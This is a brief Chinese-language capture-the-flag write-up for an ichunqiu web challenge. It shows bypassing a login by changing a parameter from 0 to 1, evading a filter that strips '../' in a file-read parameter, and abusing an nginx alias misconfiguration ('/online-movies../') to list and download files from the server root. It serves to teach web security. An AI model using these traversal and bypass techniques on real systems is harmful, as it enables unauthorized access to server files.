题目内容:
网站要上线了,还没测试呢,怎么办?
经过测试在点击Mini-Zone的时候会有如下数据包。

有一个login参数为0将其改为1即登录成功。
然后发现如下URL,直接可判断为文件读取。
http://4ffbe25b5aee42ae9c6644d535d42cb0d37c385304924a5c.game.ichunqiu.com/manages/admin.php?module=index&name=php
然后测试是否过滤了../或者./
http://4ffbe25b5aee42ae9c6644d535d42cb0d37c385304924a5c.game.ichunqiu.com/manages/admin.php?module=inde../x&name=php 访问正常(将../替换为空了)
http://4ffbe25b5aee42ae9c6644d535d42cb0d37c385304924a5c.game.ichunqiu.com/manages/admin.php?module=inde./x&name=php 访问错误
直接读取flag.php(之前dirsearch有在根目录扫描到flag.php)发现失败。
然后读取nginx的配置文件发现一个目录遍历漏洞。
然后就可以通过
online-movies #遍历online-movies目录
以及
/online-movies../ #遍历整个/online-movies../(其实就是服务器的根目录了),然后可以通过../后面输入目录进行遍历了,如果是文件就可以直接被下载。
